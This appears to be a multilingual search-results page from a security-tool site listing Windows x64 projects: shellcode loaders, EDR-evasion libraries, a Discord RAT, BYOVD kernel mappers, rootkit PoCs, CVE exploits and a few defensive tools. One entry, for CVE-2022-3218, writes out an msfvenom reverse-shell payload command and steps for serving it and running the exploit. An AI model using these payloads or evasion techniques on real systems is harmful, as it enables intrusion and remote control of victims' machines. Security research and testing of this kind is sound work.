226 matches found
micr0_shell
micr0 쉘 Micr0shell은 Windows X64 위치 독립 코드PIC Null-Free 리버스 셸 셸코드를 동적으로 생성하기 위해 설계된 가볍고 효율적인 Python 스크립트입니다. 선택한 옵션에 따라 생성된 셸코드는 msfvenom의 유사한 셸코드보다 최대 27 바이트 더 작을 수 있으며, 0x00 바이트 포함도 피합니다. 또한, MSF의 셸코드는 널리 사용되므로 시그니처 기반 탐지 방법에 의해 플래그될 가능성이 더 높기 때문에, micr0shell이 생성한 셸코드는 추가적인 회피 기능을 제공합니다...
ReflectivePluginLoader
ReflectivePluginLoader Windows x64 向けの、ホットスワップ可能なプラグインインターフェースを備えた最小限のリフレクティブ PE マッパー。メモリ上のバイトバッファから直接 DLL をマッピングし、そのエクスポートを解決し、LoadLibrary に触れることなくクリーンな IPlugin ABI を呼び出す。リフレクティブローダーとモジュール式プラグインアーキテクチャに関するブログ記事のコンパニオンコード。 ブログ記事 完全な解説はこちら: Using Reflective Loaders to Replace LoadLibrary for...
SILVERPICK
SILVERPICK バージョン v1.1 概要 プロジェクト SILVERPICK は、Windows ユーザーモードシェルコード開発フレームワーク WUMSDF であり、その唯一の目的は、ケイパビリティ開発者が C/C++ を使用して Windows x64 向けの Position Independent Code PIC ブロブを容易に構築できるようにし、そのような取り組みの開発コストを削減することです。 これはプロジェクト WILDBEAST から派生しており、以下のものを活用します： 1. コードエディタとして Visual Studio Code 2...
NovaHypervisor
NovaHypervisor 설명 NovaHypervisor는 방어적인 x64 Intel 호스트 기반 하이퍼바이저입니다. 이 프로젝트의 목표는 방어 제품AntiVirus/Endpoint Protection과 커널 메모리 구조를 보호하고 커널 메모리에 대한 무단 액세스를 방지하여 커널 기반 공격자체 취약 드라이버BYOVD 또는 기타 수단을 통한으로부터 보호하는 것입니다. NovaHypervisor는 C++와 어셈블리로 작성되었으며, Windows 10 이상에서 실행되도록 설계되었습니다. 사용 방법에 대한 자세한 내용은 설정 섹션을...
VectorKernel
VectorKernel 커널모드 루트킷 기술 연구 또는 교육을 위한 PoCs. 현재 Windows OS에 초점을 맞추고 있습니다. 모든 모듈은 x64 계열 64비트 OS만 지원합니다. 환경 모든 모듈은 Windows 11 x64에서 테스트되었습니다. 드라이버를 테스트하려면 테스트 머신에서 다음 옵션을 사용할 수 있습니다. 1. 테스트 서명 드라이버 로드 활성화 2. 커널 모드 디버깅 설정 각 옵션은 Secure Boot를 비활성화해야 합니다. 모듈 자세한 정보는 각 프로젝트 디렉터리의 README.md에 제공됩니다. 모든 모듈...
AsmLdr
AsmLdr：适用于 Windows x64 的动态 Shellcode 加载器 概述 AsmLdr 是一款使用 x64 汇编语言实现的高级 shellcode 加载器，专为 Windows x64 环境设计。其主要目的是执行加密的有效载荷，同时最大限度降低被高级防病毒软件、端点检测与响应（EDR）系统、沙箱和调试器检测到的风险。它通过在运行时动态解析模块、API 和系统调用来实现这一点，从而消除导入表或硬编码地址等静态依赖。这种方法可生成紧凑且检测特征极低的二进制文件。 该加载器使用模块踩踏（module stomping）技术将 shellcode 放入现有 DLL...
swapgs-attack-poc
SWAPGS攻撃のPoC CVE-2019-1125 このリポジトリには、2019年のBlack Hat USAで公開されたSWAPGS攻撃のPoCのソースコードが含まれています。 内容 leakgsbkva - バリアント1 カーネルメモリ内のランダムな値を検索; PEカーネルイメージヘッダーに限定 leakgsbkvat - バリアント2 カーネルメモリからランダムな値を抽出; PEカーネルイメージヘッダーに限定 ホワイトペーパー Black Hat USA 2019 プレゼンテーション 前提条件 1. Visual Studio 2015 2. 未パッチのWindows x64 7...
nimcrypt
nimcrypt Nim으로 작성된 Sliver 셸코드 로더로, Windows x64를 대상으로 합니다. 가장 일반적인 두 가지 전달 상황을 다루는 두 가지 변종이 있습니다. 실시간 보호가 활성화된 Windows Defender에서 테스트되었습니다. 변종 stager 암호화된 셸코드 blob을 디스크에서 읽어 메모리에서 복호화한 후 자체 주입합니다. 파일 드롭 프리미티브가 이미 있고 작고 간단한 바이너리가 필요할 때 사용합니다. root@kitploit: loader.exe keyhex ivhex Key와 IV는 선택 사항입니다...
CrystalSliver
crystal-kit-sliver Crystal Palace 回避キットを Sliver C2 に移植しました。 これは rasta-mouse 氏の Crystal-Kit（Cobalt Strike 向け）を Sliver に移植した初のパブリック版です。 Crystal-Kit-Xenon（Mythic 向け）で実証された同じクロス C2 パターンを踏襲しています。 ライセンス: MIT — Copyright c 2026 Simone Licitra ターゲット: Windows x64 のみ（アップストリームの制約） ステータス: エンドツーエンドで検証済み — Kal...
lacuna-rs
lacuna-rs 고스트 프레임 호출 스택 스푸핑 + Windows x64용 런타임 간접 시스템 콜 — Rust로 포팅됨. Mohamed Alzhrani 0xmaz의 LACUNA Chain lacunachain.c에서 포팅되었습니다. lacuna-rs는 원본 C TTP와 동일한 프리미티브를 제공하는 재사용 가능한 Rust 크레이트로, wsyscall-rs 또는 syscalls-rs처럼 모든 Rust 프로젝트에 바로 포함할 수 있도록 설계되었습니다. 하지만 런타임 SSN 해석 , 함수별syscall;ret 타겟팅, 고스트 프레임...
DiscordRAT
DiscordRAT V2 Discord로 제어되는 원격 관리 도구RAT로, Python3로 완전히 작성되었습니다. 디스코드를 통해 제어되는 RAT이며, 20개 이상의 사후 이용post-exploitation 모듈을 갖추고 있습니다. 면책 조항: 이 도구는 교육 목적으로만 사용해야 하며, 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 설치 가이드: 먼저 Discord 개발자 포털에서 봇을 등록한 다음, 원하는 서버에 봇을 추가해야 합니다 봇에 관리자 권한이 있는지 확인하세요. 봇이 생성되면 봇의 토큰을 복사하여...
cve-2022-3218
ステップ 1 — 実際のペイロードを作成する Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe ステップ 2 — HTTPでペイロードを提供する 同じディレクトリ内で: python3 -m http.server 80 ステップ 3 — エクスプロイトを調整する 次のように実行: python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe ステップ 4 — エクスプロイト前のリスナー ...
MSRMapper
MSRMapper 适用于 Windows x64 的 BYOVD 手动映射器 · CVE-2025-8061 概述 MSRMapper 是一款适用于 Windows x64 的手动内核驱动映射器，它利用存在漏洞的 Lenovo 驱动 LnvMSRIO.sys 中的 CVE-2025-8061 来执行 BYOVD （自带易受攻击驱动）攻击。 该项目将 PE64 驱动直接映射到内核内存中，无需使用 sc create 或服务，并在 ring 0 中执行其 DriverEntry。整个过程依赖于： 通过 LnvMSRIO.sys 进行 MSR 和物理内存读写。 使用 DbgHelp 通过 P...
antidbg
AntiDBG antidbg は、Windows 向けの x64 ユーザーモード アンチデバッグ ライブラリであり、ソフトウェアをデバッグから保護するために設計されています。 このライブラリは、アンチデバッグ保護の基盤として考えてください。唯一の防御手段として考えないでください。 このライブラリは: 非常に使いやすい 必要な関数呼び出しは 1 回だけ。 高性能かつ最小限のリソース使用量 CPU 使用率 1%、メモリ 2MB 未満 のために設計されています。 外部依存関係が一切ありません。 完全に MIT ライセンスです。 CFG 準拠です。 構造...
CVE-2023-38831
CVE-2023-38831 CVE-2023-38831 是 WinRAR（6.23）中的一个 RCE 漏洞 参考：https://github.com/z3r0sw0rd/CVE-2023-38831-PoC 阅读 Google TAG 的分析： https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ 下载存在漏洞的最新版本：适用于 Windows x64 的 6.22：...
CVE-2020-1020-Exploit
CVE-2020-1020 Type1 Font Pool Overflow LPE Exploit 対応OS : Windows 7,8,8.1 x64...
frida-stalker-NtStrace
NtStrace Windowsx64上でfrida-stalkerベースのシステムコールトレーサー。 root@kitploit: 483NtWaitForWorkViaWorkerFactory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbb06d2 199NtCreateThreadEx + Following...
cve-2026-0828
CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC Safetica DLP カーネルドライバー ProcessMonitorDriver.sys は、認証されていない IOCTL を公開しており、任意のユーザーモード呼び出し元がカーネルコンテキスト内で ZwTerminateProcess を介して任意のプロセスを終了させ、PPL（Protected Process Light）保護をバイパスすることを可能にします。 CVSS: 8.8 High · Type: BYOVD, LPE · Platform: Windo...
stealth_call
これは何か？ Windows x64向けのヘッダーオンリーライブラリで、ntdllのインポートに触れることなく、バイナリに文字列を残すことなく、EDRを混乱させるような一般的なレッドフラグなしで、任意のNTシステムコールを呼び出すことができます。 CRTなし。STLなし。IATなし。全体で約19KBにコンパイルされ、DLL依存関係は文字通りゼロです。 既存のシステムコールライブラリの一般的な落とし穴（平文文字列、既知のハッシュ定数、非ntdllメモリからの直接システムコール、「何か変なことをしている」と叫ぶIATインポート、SECNOCHANGE...